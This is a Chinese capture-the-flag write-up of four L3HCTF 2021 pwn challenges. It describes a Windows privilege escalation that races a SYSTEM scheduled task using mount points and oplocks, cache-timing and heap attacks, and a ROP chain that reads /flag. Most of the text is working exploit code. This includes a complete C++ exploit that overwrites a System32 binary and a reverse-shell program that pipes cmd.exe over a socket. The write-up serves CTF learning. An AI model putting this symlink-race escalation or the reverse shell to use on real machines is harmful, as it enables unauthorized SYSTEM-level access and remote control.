0RAYS-L3HCTF2021 writeup-pwn

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连续肝48h 差点ak pwn

vul_service

这题在比赛时写poc的时候在system32随便找了一个dll验证思路,但是权限修改总是失败,后来复现的时候才注意到即使是system权限也无法更改system32目录下的dll,但是出题人放进去的vul_service文件是system可写的,爆肝30+小时从零入门Windows编程到Windows提权,最后没拿到flag有点可惜,但也确实学到了很多

题目给了一个win10虚拟机文件,其中设置了1分钟执行一次vul_service的定时任务,从system32中找到vul_service文件进行分析,其逻辑是遍历C:\Users\Public\tmp\目录及子目录下的文件,根据文件路径读取文件权限后再根据文件路径写回文件权限

漏洞在于读取权限和写入权限都是用文件路径进行操作,如果在读和写之间的时间窗口进行竞争,将文件路径所指的文件修改,也就是读权限和写权限的文件不相同,就可能发生错误的权限设置

而通过对Windows的硬链接或符号链接可以实现同一个文件路径指向不同的文件

在新版本的Windows上由于

  • 不再能通过硬链接将低权限文件链到高权限文件
  • 无管理员权限的用户无法在文件系统中创建文件符号链接

来源

任意文件移动导致的Windows提权攻击分析 | (moonsec.com)

但是对于文件夹的符号链接则没有过多限制,所以可以采用两种思路达到竞争的时候将一个普通文件链接到vul_service的目的:

  1. 先在tmp目录下创建链到文件夹A的符号链接,在竞争的时候将tmp目录下的文件夹链接到设备管理器中的文件夹,再从设备管理器中的文件夹创建符号链接链到vul_service文件(设备管理器不在文件系统中,所以可以创建文件符号链接)则访问C:\Users\Public\tmp\A\abc就相当于访问C:\Windows\System32\vul_service.exe
  2. 在先在tmp目录下创建链到文件夹A的符号链接,在文件夹A中创建vul_service的同名文件,在竞争的时候将tmp目录下的文件夹链到C:\Windows\System32\则访问C:\Users\Public\tmp\A\vul_service.exe就相当于访问C:\Windows\System32\vul_service.exe

找到googleprojectzero的工具symboliclink-testing-tools ,在测试的时候只有CreateMountPoint.exe和SetOpLock.exe是还能正常使用的,在比赛的时候由于从设备管理器链接到vul_service的时候失败,不确定第一种方法是否已经和硬链接一样被修复(赛后请教出题人2st师傅,2st师傅表示第一种方法还可以使用,并且明显比第二种更灵活,抄抄改改James的代码即可,,2st yyds),所以用第二种方法实现漏洞利用

由于symboliclink-testing-tools的实现使用了很多自定义类型和依赖项,所以在CreateMountPoint项目中的CreateMountPoint.cpp基础上加入Oplock相关的代码编写exp

整体思路是:先将symlink链接到target,在target中创建vul_service同名文件,然后用Oplock锁上文件等待定时任务中的vul_service读取target中的vul_service同名文件权限,释放锁后进行竞争,将target链接到C:\Windows\System32\,竞争成功的话则写文件权限时会将C:\Windows\System32\vul_service.exe的权限修改为attack用户可写,之后将vul_service文件的内容改为反弹shell的exe文件,监听端口等待定时任务下一次以system权限启动反弹shell即可

CreateMountPoint.cpp:

#include "stdafx.h"
#include <shobjidl_core.h>
#include <CommonUtils.h>
#pragma comment (lib,"Ws2_32.lib")

#define NUM 5


void END(SOCKET& ListenSocket, SOCKET& ClientSocket)
{

    closesocket(ListenSocket);
    closesocket(ClientSocket);
    WSACleanup();

}

int get_shell()
{

    WSADATA wsaData;
    char buf[0x1000] = {
    0 };
    char getbuf[0x1000] = {
    0 };

    int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        printf("[-] ERROR code:%d\n", iResult);
        return 1;
    }

    SOCKET ListenSocket, ClientSocket;
    ListenSocket = socket(AF_INET, SOCK_STREAM, 0);

    sockaddr_in addr, addr2;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(8888);
    addr.sin_addr.S_un.S_addr = INADDR_ANY;
    addr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    int addr2Len = sizeof(addr2);

    bind(ListenSocket, (sockaddr*)&addr, sizeof(addr));
    int ret = listen(ListenSocket, NUM);

    if (ret == 0) {
        printf("[+] Wating for connecting ...\n");
    }
    ClientSocket = accept(ListenSocket, (sockaddr*)&addr2, &addr2Len);

    if (ClientSocket != NULL)
    {
        memset(getbuf, 0, sizeof(getbuf));
        iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
        printf("%s", getbuf);
        memset(getbuf, 0, sizeof(getbuf));
        iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
        printf("%s", getbuf);
        memset(getbuf, 0, sizeof(getbuf));
        iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
        printf("%s", getbuf);

    }

    while (1)
    {

        memset(getbuf, 0, sizeof(buf));
        fgets(buf, 0x100, stdin);
        iResult = send(ClientSocket, buf, sizeof(buf), 0);
        if (iResult == SOCKET_ERROR)
        {

            printf("[-] send ERROR: %d", WSAGetLastError());
            END(ListenSocket, ClientSocket);
            return 1;

        }

        memset(getbuf, 0, sizeof(getbuf));
        iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
        iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
        if (iResult == SOCKET_ERROR)
        {

            printf("[-] recv ERROR: %d", WSAGetLastError());
            END(ListenSocket, ClientSocket);
            return 1;

        }
        printf("%s\n", getbuf);
        fflush(stdout);
        fflush(stderr);

    }
    return 0;
}


class FileOpLock
{
public:
    typedef void(*UserCallback)();

    static FileOpLock* CreateLock(const std::wstring& name, const std::wstring& share_mode, FileOpLock::UserCallback cb);
    void WaitForLock(UINT Timeout);

    ~FileOpLock();
private:

    HANDLE g_hFile;
    OVERLAPPED g_o;
    REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer;
    REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer;
    HANDLE g_hLockCompleted;
    PTP_WAIT g_wait;
    UserCallback _cb;

    FileOpLock(UserCallback cb);

    static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance,
        PVOID Parameter, PTP_WAIT Wait,
        TP_WAIT_RESULT WaitResult);

    void DoWaitCallback();

    bool BeginLock(const std::wstring& name, DWORD dwShareMode, bool exclusive);

};

static FileOpLock* oplock = nullptr;


LPCWSTR lock;
LPCWSTR symlink;
LPCWSTR target;
LPCWSTR sys;
LPCWSTR shell;
LPCWSTR tmp;

void HandleOplock()
{
    DebugPrintf("OpLock triggered, hit ENTER to close oplock\n");
    getc(stdin);

    printf("[+] Change symlink\n");
    if (CreateDirectory(symlink, nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS))
    {
        if (!ReparsePoint::CreateMountPoint(symlink, sys, L""))
        {
            printf("Error creating mount point - %d\n", GetLastError());
            exit(-1);
        }
    }
    else
    {
        printf("nofuck Error creating directory - %d\n", GetLastError());
    }
}


int _tmain(int argc, _TCHAR* argv[])
{
    symlink = argv[1];
    target = argv[2];
    lock = argv[3];
    shell = argv[4];
    sys = L"C:\\Windows\\System32";

    if (argc < 5)
    {
        printf("CreateMountPoint.exe symlink target lock shell\n");
        return 1;
    }



    CreateDirectory(target, 0);
    if (CreateDirectory(symlink, nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS))
    {
        printf("[+] Create symlink\n");
        if (!ReparsePoint::CreateMountPoint(symlink, target, L""))
        {
            printf("Error creating mount point - %d\n", GetLastError());
            exit(-1);
        }

        printf("[+] Create fake vul_service.exe\n");
        HANDLE handle = CreateFile(lock, GENERIC_READ, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
        CloseHandle(handle);

        printf("[+] Lock\n");
        LPCWSTR share_mode = L"RW";
        oplock = FileOpLock::CreateLock(lock, share_mode, HandleOplock);
        if (oplock != nullptr)
        {
            oplock->WaitForLock(INFINITE);

            delete oplock;
        }
        else
        {
            printf("Error creating oplock\n");
            return 1;
        }

        printf("[+]load shell\n");
        Sleep(1000);

        HANDLE lock_handler = CreateFile(lock, GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
        if (lock_handler == INVALID_HANDLE_VALUE)
        {
            printf("Error open lock, %d\n", GetLastError());
            return 1;
        }
        HANDLE shell_handler = CreateFile(shell, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
        if (shell_handler == INVALID_HANDLE_VALUE)
        {
            printf("Error open shell, %d\n", GetLastError());
            return 1;
        }

        DWORD szr = GetFileSize(shell_handler, 0);
        DWORD szw = szr;
        PTCHAR p = (PTCHAR)malloc(szr);

        ReadFile(shell_handler, p, szr, &szr, 0);
        WriteFile(lock_handler, p, szw, &szw, 0);

        CloseHandle(lock_handler);
        CloseHandle(shell_handler);

        printf("OK\n");
        get_shell();


    }
    else
    {
        printf("nofuck Error creating directory - %d\n", GetLastError());
    }

    return 0;
}

a.cpp:

#include <WinSock2.h>
#include <winsock.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"ws2_32.lib")

int main(int argc, char* argv[])
{
    WSADATA wsd;
    WSAStartup(0x0202, &wsd);
    SOCKET socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    SOCKADDR_IN sin;
    sin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    sin.sin_port = htons(8888);
    sin.sin_family = AF_INET;

    printf("conncting...");
    int ret = connect(socket, (sockaddr*)&sin, sizeof(sin));
    if(ret!=0)
    {
        printf("[-] Error connect : %d\n", WSAGetLastError());
        getc(stdin);
    }

    send(socket, "[+] Connected\n", strlen("[+] Connected\n"), 0);

    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    GetStartupInfo(&si);
    si.cb = sizeof(STARTUPINFO);
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)socket;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    TCHAR cmdline[255] = L"cmd.exe";
    while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi)) {
        Sleep(1000);
    }
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return 0;
}

参考:

一步步学写Windows下的Shellcode – 安全客,安全资讯平台 (anquanke.com)

在编译时需要调整一些项目配置参数,反弹shell的io还有些问题,但是可以看到已经成功成为system权限

C:\Users\Attacker\Desktop\CreateMountPoint.exe C:\Users\Public\tmp\X1ng C:\Users\Public\tmp1 C:\Users\Public\tmp\X1ng\vul_service.exe C:\Users\Attacker\Desktop\a.exe

 

slow spn

程序从flag.txt中读取6个字符的key和4个字符的plaintext,然后8次通过s盒或p盒的变换后放进模拟的cache中

cache的逻辑是可以多次模拟访问s盒中的地址,如果cache命中了该地址则使用最近最久未使用算法计数,未命中则sleep(1)模拟读取内存的情况

由于有一次访问plaintext在s盒中的地址的机会,所以可以先通过去访问一个地址的方式将一个地址填入cache,然后访问plaintext,通过延时判断cache是否命中,进而猜测plaintext的地址是否为正在cache中的地址,得到p=0x10a4

同样的方法爆破上图中v9=0x4924、v7=0x78c、v5=0x9d44,实际操作的时候得到

p=0x10a4
k>>8=0x754
k>>4=0x655e
k=0xace7

由于cache是通过5-10bit的line和10bit以上的tag来标记的,所以爆破得到的结果可能有偏差,根据题目提示不用得到很准确的数字,所以将key进行拼接key=0x754e7,连接靶机后输入key和plaintext拿到flag
PS:在实际操作的时候通过分成每组0x20个数据来确定范围,再修改exp爆破0x20个数据中p的值

exp:

def exp(times):
    local=1
    binary_name='slowspn'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
    else:
        p=remote('124.71.173.176', 9999)
        e=ELF("./"+binary_name)

    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    rc=lambda x:p.recv(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda : p.interactive()

    def add(addr,sp):
        ru("What to do?\n")
        sl('1')
        ru("Where?\n")
        sl(str(addr))
        sla('Speed up?',str(sp))

    def test_flag():
        sla('What to do?',str(2))

    def nex():
        sla('What to do?',str(3))

    def nofound():
        sl(str(3))

    for j in range(0x20):
        add(0x645110+j*4+times*4,1)
        print(hex(times+j)+': '+hex(ss_box[times+j]))

    #nex()
    #nex()
    #nex()
    #nex()
    #nex()
    #nex()
    #通过控制nex的个数调整爆破哪一个变量

    test_flag()
    time_start=time.time()

    ru('What to do?')
    time_end=time.time()
    print(time_end-time_start)
    if round(time_end-time_start) != 1:
        print('YES')
        ia()
    else :
        print('NO')
        for i in range(7):
            sl('2')
        p.close()

len_ss_box=65535
for i in range(0,len_ss_box,0x20):
    exp(i)

连接.py:

from pwn import *
sh=remote("124.71.173.176","8888")
from pwnlib.util.iters import mbruteforce
from hashlib import sha256

def proof_of_work(sh):
    sh.recvuntil('x + "')
    suffix = sh.recvuntil('"').decode("utf8")[:-1]
    print(suffix)
    #log.success(suffix)
    sh.recvuntil('== "')
    cipher = sh.recvuntil('"').decode("utf8")[:-1]
    print(cipher)
    proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest()[:6] ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("Input x:\n", proof)

proof_of_work(sh)
sh.interactive()

 

spn

可以直接溢出,但是输入的东西会被加密,网上找个解密脚本算一下,算出加密之后是shell地址就行。tcache打shell,进后门。

#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'

local=0
binary_name='SPN_ENC'
libc_name='lib/libc-2.27.so'
if local:
    p=process("./"+binary_name)
    libc=ELF("./"+libc_name)
else:
    p=remote('124.71.194.126',9999)
    e=ELF("./"+binary_name)
    libc=ELF("./"+libc_name)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):
    sla("0.exit\n",str(num))
def add(size,idx):
    cho(1)
    sla("Size:",str(size))
    sla("Index:",str(idx))
def delete(idx):
    cho(3)
    sla("Index:",str(idx))
def show(idx):
    cho(4)
    sla("Index:",str(idx))
def edit(idx,size,data):
    cho(2)
    sla("Index:",str(idx))
    sla("Size",str(size))
    sa("Content",data)
def backdoor():
    cho(5)
def decrypt(x):
    io = process('./spn_dec.py')
    io.sendline(str(x&0xffff))
    a = int(io.recv()[:-1])
    io.close()
    return a
def spn_dec(x):
    a1 = decrypt(x)
    a2 = decrypt(x>>16)
    a3 = decrypt(x>>32)
    aa = a1+a2*0x10000+a3*0x100000000
    print(hex(a3),hex(a2),hex(a1))
    print(aa)
    return aa

ru("gift:")
shell_addr=int(ru('\n'),16)
print(hex(shell_addr))
aa = spn_dec(shell_addr)
print(hex(aa))
add(0x10,0)
add(0x10,1)
add(0x10,2)
delete(2)
delete(1)
edit(0,0x26,b'a'*0x20+p64(aa)[:-2])
add(0x10,3)
add(0x10,4)
edit(4,2,b'aa')
backdoor()
ia()

# spn_dec.py是github上找的一个实现,改了一下io就用了。

 

checkin

任意地址写一个字节,改了_ZN14__interception21real___isoc99_vfscanfE 的第二个字节,使其指向gets函数,返回调用gets函数,读取rop,泄露,栈迁移,orw。

#!/usr/bin/python

from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'

local=1
binary_name='checkin'
libc_name='libc-2.27.so'
libc=ELF("./"+libc_name)
def pwn():
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sa=lambda a,b:p.sendafter(a,b)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,b'\x00'))

    p=remote('123.60.97.201',9999)
    sla(b'Welcome! A gift for you:',str(0x73edb8+1))
    sleep(1)
    sd(b'\x91')
    sa(b'Leave a note.',b'a'*0x1f)
    sa(b"That's all. Have fun!",p64(0x43FBB3))

    pop_rdi = 0x41af0b
    pop_rsp = 0x484d50
    call_puts = 0x43A286
    rop = p64(pop_rdi)+p64(0x72DE30)+p64(call_puts)+b'a'*0x838+p64(0)*6+p64(pop_rdi)+p64(0xA00000)+p64(0x43FBB3)+b'a'*0x30+p64(0)*3+p64(pop_rsp)+p64(0xA00000)
    try:
        p.recv()
        sl(rop)
        libc_addr = leak_address()-0x407e0
        print(hex(libc_addr))
        if libc_addr == 0x736572605c61:
            p.close()
            return 0
    except Exception:
        return 0
    print(hex(libc_addr))
    binsh=libc_addr+0x1B3E1A
    system=libc_addr+0x4f550
    pop_rsi=0x000000000041ab7c
    pop_rdx=0x000000000043ced2
    open_addr=libc_addr+libc.sym['open']
    read_addr=libc_addr+libc.sym['read']
    write_addr=libc_addr+libc.sym['write']
    rop2 = p64(pop_rdi)+p64(0xA00100)+p64(pop_rsi)+p64(0)+p64(open_addr)
    rop2 += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0xA00200)+p64(pop_rdx)+p64(0x100)+p64(read_addr)
    rop2 += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0xA00200)+p64(pop_rdx)+p64(0x100)+p64(write_addr)
    rop2 = rop2.ljust(0x100,b'\x00')+b'/flag\x00'
    sl(rop2)
    ia()

for i in range(0x100):
    pwn()
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